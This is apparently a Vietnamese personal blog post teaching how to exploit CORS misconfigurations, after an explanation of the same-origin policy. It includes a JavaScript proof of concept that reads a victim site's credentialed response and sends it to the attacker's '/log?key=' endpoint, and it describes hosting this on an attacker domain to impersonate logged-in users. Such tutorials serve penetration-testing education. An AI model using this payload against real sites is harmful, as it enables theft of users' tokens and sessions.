Khai thác CORS Misconfigurations như thế nào?

Đã lâu rồi mình chưa viết blog nào cả. Nay nhân tiện học sâu về một em lỗi là CORS Misconfigurations thì cũng chia sẻ nhỏ để mọi người cùng thảo luận.

Về em nó – CORSCross-Origin Resource Sharing, hiểu đơn là em nó cho phép lấy tài nguyên từ nơi khác về. Có gì đó sai sai? Thật ra không sai, nó liên quan đến em SOP (Same Origin Policy)– chính sách cùng nguồn.

SOP

Em này là cơ chế bảo mật để giới hạn cách mà từ 1 em website(Origin-Nguồn) tương tác với em webisite khác. Tại sao phải dùng em SOP? Em này sẽ giới hạn lại cách mà từ 1 em website tương tác với em webisite khác. Có cần không? Dĩ nhiên em nó là quan trọng vì khi sử dụng nó giúp cho em website của chúng ta tránh được các mối nguy tiềm ẩn khi lấy tài nguyên từ 1 em webiste độc hại.

Một em Origin bao gồm 3 thành phần: scheme, host, port. 2 em được coi là cùng Origin là phải giống nhau về 3 thành phần này.

Ví dụ:

Chúng ta có :

http://store.company.com/dir/page.html

URL Outcome Reason
http://store.company.com/dir2/other.html Same origin Only the path differs
http://store.company.com/dir/inner/another.html Same origin Only the path differs
https://store.company.com/page.html Failure Different protocol
http://store.company.com:81/dir/page.html Failure Different port (http:// is port 80 by default)
http://news.company.com/dir/page.html Failure Different host

Thực tế mà nói em này an toàn nhưng lại gây ra nhiều phiền toái cho các lập trình viên. Bởi vì không phải lúc nào nội dung từ 1 em website đều lấy từ chung nguồn mà đôi khi nó cần lấy từ các nguồn khác. Để giải quyết vấn đề này, em CORS ra đời.

CORS

Là một cơ chế trình duyệt cho phép lấy tài nguyên từ một Origin khác. Tuy nhiên vì cho phép như vậy, nếu nó bị cấu hình sai thì sẽ có vấn đề.

Kiểm tra xem 1 em website cho phép CORS không bằng cách dựa vào phản hồi từ phía máy chủ:

Access-Control-Allow-Origin: https://example.com

Nếu có thêm header Access-Control-Allow-Credentials: true

Mặc định, cookie sẽ không được sử dụng trong các truy vấn CORS. Header này sẽ biểu thị giá trị logic rằng có thể sử dụng cookie hay không. Giá trị duy nhất của header này là true. Nếu không muốn sử dụng cookie thì thông thường người ta sẽ bỏ header này trong response chứ không phải đặt giá trị nó là false. Lưu ý rằng, header này chỉ hoạt động nếu phía client cũng đặt giá trị withCredentials = true. – Khi viết PoC chúng ta sẽ dùng nó.

Sau khi hiểu về các khái niệm, chúng ta cùng xem cấu hình sai như thế nào nhé!

Vấn đề 1: Cho phép bất kỳ host/domain truy cập phản hồi

Như trình bày ở trên nếu phía máy chủ cấu hình cho phép header có dạng :

Access-Control-Allow-Origin: *

Nghĩa là bất kỳ domain/host nào cũng truy cập vào tài nguyên của website của domain bị lỗi, nếu các thông tin phản hồi từ máy chủ chứa các thông tin nhạy cảm như API key, token, … thì kẻ tấn công sẽ đánh cắp những thông tin này và mạo danh người dùng.

Để tấn công loại này, chúng ta sẽ thêm header Origin từ request ở client để kiểm tra, nếu nó trả về như dạng trên thì chúng ta sẽ tiến hành PoC.

Ví dụ kiểm tra :

 

Như vậy mình có thể chèn domain của mình để tấn công lỗ hổng này.

Bắt đầu PoC, thì PoC có dạng như sau:

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','http(s)://domain/xxx',true);
   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

Thay domain thành của mình.

Với PoC trên mình vẫn chưa hình dung là khai thác thực tế sẽ như nào, mình cũng chưa hiểu nên mình quyết tâm nghiên cứu sâu và viết cách khai thác và chia sẻ cho các bạn, lý do vì sao có bài blog này.

Vấn đề là có đoạn script trên chúng ta khai thác như nào? Mình đọc rất nhiều tài liệu nhưng chẳng có cái nào hướng dẫn cả.

Cách thức như sau: Chúng ta sẽ xây dựng trên con domain của mình 1 tài nguyên dạng .html,.js, … để phía mục tiêu/ target lấy tài nguyên này về, khi ấy trên server sẽ lấy được log. Hoặc đơn giản hơn là mình sẽ nhúng đoạn .js, .html vào domain của mình, nếu nạn nhân truy cập vào domain của mình và tải đoạn PoC trên sẽ bị ghi lại log trên domain của mình.

Mình sẽ làm như sau:

Đặt đoạn PoC lên document root của mình, giả sử cors.html như sau:

cors.php để mình ghi lại log trên server.

Đoạn mã có tại đây:

https://github.com/HoangKien1020/pentest/tree/master/CORS

Khi này, nạn đã đăng nhập trên site kia, truy cập domain của mình, chúng ta có thể lấy log và mạo danh người dùng.

Khi nạn nhân vào link sau:

https://hoangkien1020.tech/cors.html

Chúng sẽ chuyển hướng như sau:

Trên server của mình đã có log như sau:

Như vậy chúng ta có thể mạo danh người dùng rồi.

Update:

Vấn đề 2: Cho phép giá trị null ở Origin header

Khi phía máy chủ cấu hình chỉ cho phép Origin header nhận giá trị null thường là dạng môi trường phát triển nội bộ. Tuy nhiên, nó vẫn có thể khai thác được qua đoạn script sau:

Như vậy khi nạn nhân truy cập đường dẫn để lấy đoạn mã này, ví dụ:

https://hoangkien1020.tech/corsnull.html

Chúng ta sẽ thấy:

Kết quả trên log của mình:

Tham khảo:

https://portswigger.net/web-security/cors

https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

https://viblo.asia/p/tan-cong-cors-cross-origin-resource-sharing-ORNZqk3n50n

Leave a comment